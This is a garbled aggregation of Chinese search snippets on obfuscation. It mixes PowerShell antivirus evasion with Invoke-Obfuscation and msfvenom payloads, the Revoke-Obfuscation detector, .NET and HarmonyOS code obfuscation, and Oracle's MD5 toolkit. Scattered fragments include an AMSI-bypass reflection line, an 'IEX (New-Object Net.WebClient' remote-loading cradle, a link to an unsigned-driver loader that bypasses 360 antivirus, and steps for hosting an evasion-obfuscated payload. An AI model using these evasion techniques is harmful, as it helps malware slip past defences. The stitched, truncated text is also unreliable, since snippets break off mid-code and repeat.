更新时间:2021-05-31 Invoke-Obfuscation下载地址: https://github.com/danielbohannon/Invoke-Obfuscation Invoke-Obfuscation 模块使用 导入模块 Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1 这里注意,一定要写上完整路径 加载模块 Invoke-Obfuscation ? 支持的加密方法: ? 文件路径: C:\0_poweshell\Invoke-Obfuscation-master\1.ps1 攻击机开启监听模式: ? windows Defender msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果: ? ?
关于Revoke-Obfuscation Revoke-Obfuscation是一款功能强大的PowerShell混淆检测框架,该框架基于PowerShell开发,并且兼容PowerShell v3.0 ,也难逃Revoke-Obfuscation的法眼。 Revoke-Obfuscation可以在100-300毫秒内轻松检测大多数输入的PowerShell脚本。 \Revoke-Obfuscation.psd1 除此之外,我们也可以直接从PowerShell Gallery来安装Revoke-Obfuscation: Install-Module Revoke-ObfuscationImport-Module 项目地址 Revoke-Obfuscation: https://github.com/danielbohannon/Revoke-Obfuscation 参考资料: https://www.fireeye.com
关于Invoke-Obfuscation Invoke-Obfuscation是一款功能强大的PowerShell代码混淆工具,该工具兼容PowerShell v2.0+,能够帮助广大研究人员对PowerShell (向右滑动,查看更多) 工具安装 我们可以直接使用下列命令安装并调用Invoke-Obfuscation: Import-Module . /Invoke-Obfuscation.psd1Invoke-Obfuscation 工具使用 虽然所有的模糊处理层都构建在单独的脚本中,但大多数用户都会发现Invoke-Obfuscation /Invoke-Obfuscation.psd1Invoke-Obfuscation 工具运行截图 许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。 项目地址 Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation 精彩推荐
至于实现方式也是很容易就能看出来的,三个函数 ASCLL function ASCII_Obfuscation($String) { $PowerShell = "IEX(-Join((@)|%{[ $String = [System.Text.Encoding]::ASCII.GetBytes($String) -join ','; $PowerShell = Character_Obfuscation ($PowerShell); $PowerShell = $PowerShell -replace "@","$String"; $CMD = Character_Obfuscation($CMD ); $CMD = $CMD -replace "@","$String"; Return $PowerShell,$CMD; } XOR function BXOR_Obfuscation ,"$String"; $CMD = $CMD -replace "#","$Key"; Return $PowerShell,$CMD; } base64 function Base64_Obfuscation
在powershell中最常使用的编码就是base64编码了,今天主要说一下Invoke-Obfuscation 这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具 地址:https://github.com/danielbohannon/Invoke-Obfuscation 下载后,在当前目录的ps命令行中输入 Import-Module. \Invoke-Obfuscation.psd1; Invoke-Obfuscation 装载框架 ? 我们也可以直接在ps的命令行中直接进行编码 Invoke-Obfuscation -ScriptBlock {echo xss} -Command ‘Encoding\1,Launcher\PS\67′
.NET 中各种混淆(Obfuscation)的含义、原理、实际效果和不同级别的差异(使用 SmartAssembly) 发布于 2018-08-19 12:42 名称混淆 Obfuscation 修改类型、字段、属性、方法等的名称。 流程混淆 Control Flow Obfuscation 修改方法内的执行逻辑,使其执行错综复杂。 名称混淆 Obfuscation 类/方法名与字段名的混淆 名称混淆中,类名和方法名的混淆有三个不同级别: 等级 1 是使用 ASCII 字符集 等级 2 是使用不可见的 Unicode 字符集 等级 流程混淆 Control Flow Obfuscation 列举我在 Whitman.Core 中的方法: public string Generate(bool pascal) { var builder mangling - SmartAssembly 6 - Product Documentation 本文会经常更新,请阅读原文: https://walterlv.com/post/obfuscation-configurations-of-smart-assembly.html
(INPUT_STRING => passwd)) ; 1. dbms_obfuscation_toolkit.md5,可以创建数据的MD5哈希值。 MD5算法基于给定的数据生成一个128位的散列值,确保数据传输的一致性,其语法如下所示,接收RAW类型和VARCHAR2类型, DBMS_OBFUSCATION_TOOLKIT.MD5( input IN RAW) RETURN raw_checksum; DBMS_OBFUSCATION_TOOLKIT.MD5( input_string IN VARCHAR2 ,他允许应用使用DES或者3DES加密数据,同时他指出DBMS_OBFUSCATION_TOOLKIT已经过时了,DBMS_CRYPTO可以替代他,但如果是10g以前的版本,只可以使用DBMS_OBFUSCATION_TOOLKIT Note: DBMS_OBFUSCATION_TOOLKIT is deprecated.
(INPUT_STRING => passwd)) ; 1. dbms_obfuscation_toolkit.md5,可以创建数据的MD5哈希值。 MD5算法基于给定的数据生成一个128位的散列值,确保数据传输的一致性,其语法如下所示,接收RAW类型和VARCHAR2类型, DBMS_OBFUSCATION_TOOLKIT.MD5( input 我们从官方文档《Database PL/SQL Packages and Types Reference》,可以找到这个存储过程DBMS_OBFUSCATION_TOOLKIT,他允许应用使用DES或者 3DES加密数据,同时他指出DBMS_OBFUSCATION_TOOLKIT已经过时了,DBMS_CRYPTO可以替代他,但如果是10g以前的版本,只可以使用DBMS_OBFUSCATION_TOOLKIT Note: DBMS_OBFUSCATION_TOOLKIT is deprecated.
eMule 的 通信协议加密混淆功能 学过中间语言java or C# 的朋友们应该对obfuscation 的概念比较熟悉了。 针对中间语言的obfuscation比较容易理解,但针对protocol的obfuscation却连想都没有想过。想起了 javaeye 上dlee 说的:正是基础限制了很多人,使他们不敢想。
3.编码混淆 PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。 进入Invoke-Obfuscation目录后,在PowerShell中执行命令 Import-Module . \Invoke-Obfuscation.psd1 Invoke-Obfuscation ?
文件准备工作1.已混淆的工程和报错日志,这里以混淆工程为例,混淆规则配置如下:# 开启属性名称混淆 -enable-property-obfuscation# 开启字面量名称混淆 -enable-string-property-obfuscation # 开启文件/文件夹名称混淆 -enable-filename-obfuscation# 开启顶层作用域名称混淆(作用于类名、方法名) -enable-toplevel-obfuscation# 开启 export导出对象混淆 -enable-export-obfuscation两次运行工程分别点击工程内的Native按钮和ArkTS按钮获取混淆后的报错日志。
Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) 绕过方法混淆等,请参考Invoke-Obfuscation https://github.com/danielbohannon/Invoke-Obfuscation 远程加载PowerShell脚本 代理 IEX (New-Object Net.WebClient 此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,
业务场景:在做安全等保问题,需要将原来保存的用户明文密码改成md5加密的密文密码,数据库是Oracle的 首先Oracle要管理员账号登录才可以调md5函数,具体函数是DBMS_OBFUSCATION_TOOLKIT.MD5 IN VARCHAR2) RETURN VARCHAR2 IS retval varchar2(32); BEGIN retval := utl_raw.cast_to_raw(DBMS_OBFUSCATION_TOOLKIT.MD5
发布模式配置(适用于release构建):{ "name": "release", "debuggable": false, "arkOptions": { "obfuscation": { /obfuscation-rules.txt" ] } } }}debuggable:设置为false,表示此构建模式下的应用不可被调试。 obfuscation:代码混淆配置,增强应用安全性。enable:启用代码混淆。files:指定混淆规则文件的路径。 调试模式配置(适用于debug构建):{ "name": "debug", "debuggable": true, "arkOptions": { "obfuscation": {
Kdmapper-Bypass360 过360拦截加载无驱动签名 地址:https://github.com/fuluke/Kdmapper-Bypass360 Beginners-Guide-to-Obfuscation 逃避检测:混淆初学者指南 地址:https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation Web-sec WEB安全手册(红队安全技能栈
、"all"(全部混淆)Exclude属性:true表示排除混淆,false表示应用混淆可应用于类、方法、属性等类型成员在HagiCode项目中,可以看到实际使用示例:展开代码语言:C#AI代码解释[Obfuscation 解决方案1.微软内置混淆Attribute的使用在代码中直接应用ObfuscationAttribute:展开代码语言:C#AI代码解释usingSystem.Reflection;[Obfuscation (Feature="ultra",Exclude=false)]publicclassLicenseService{[Obfuscation(Feature="ultra",Exclude=false) ]publicasyncTask<bool>ValidateLicenseAsync(stringkey){//许可证验证逻辑}[Obfuscation(Feature="flow",Exclude=false platform=tencent-cloud-community&target=%2Fblog%2F2026-03-18-dotnet-code-protection-obfuscation-to-vmprotect
Features: - OS auto-detection (Windows, macOS, mobile fallback) - Multiple evasion techniques (obfuscation Features: - OS auto-detection (Windows, macOS, mobile fallback) - Multiple evasion techniques (obfuscation ==================================================== class JavaScriptObfuscator: """ Apply obfuscation Level: {config.get('obfuscation_level', 0)}
业务场景:在做安全等保问题,需要将原来保存的用户明文密码改成md5加密的密文密码,数据库是Oracle的 首先Oracle要管理员账号登录才可以调md5函数,具体函数是DBMS_OBFUSCATION_TOOLKIT.MD5 IN VARCHAR2) RETURN VARCHAR2 IS retval varchar2(32); BEGIN retval := utl_raw.cast_to_raw(DBMS_OBFUSCATION_TOOLKIT.MD5
文件帮助开发者配置混淆文件;如果设置为true,会自动配置混淆规则,并删除hmrouter_obfuscation_rules.txt文件}配置文件读取规则为 模块 > 工程 > 默认 优先使用本模块内的配置 将其保存在当前模块hmrouter_obfuscation_rules.txt文件中,并在编译阶段将该文件自动加入到混淆配置文件files列表中,实现混淆自动配置效果。 "buildOptionSet": [ { "name": "release", "arkOptions": { "obfuscation": { /obfuscation-rules.txt" ] } } } }, ],{ "saveGeneratedFile": true 开发者需要自行将生成的混淆文件hmrouter_obfuscation_rules.txt文件加入到混淆配置文件files列表中。
2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀,生成面杀版ps1脚本文件,并上传到自己的web服务器备用, Github地址:https://github.com/ danielbohannon/Invoke-Obfuscation(免杀过程在这里不赘述了,请自行查看Invoke-Obfuscation的README.md)。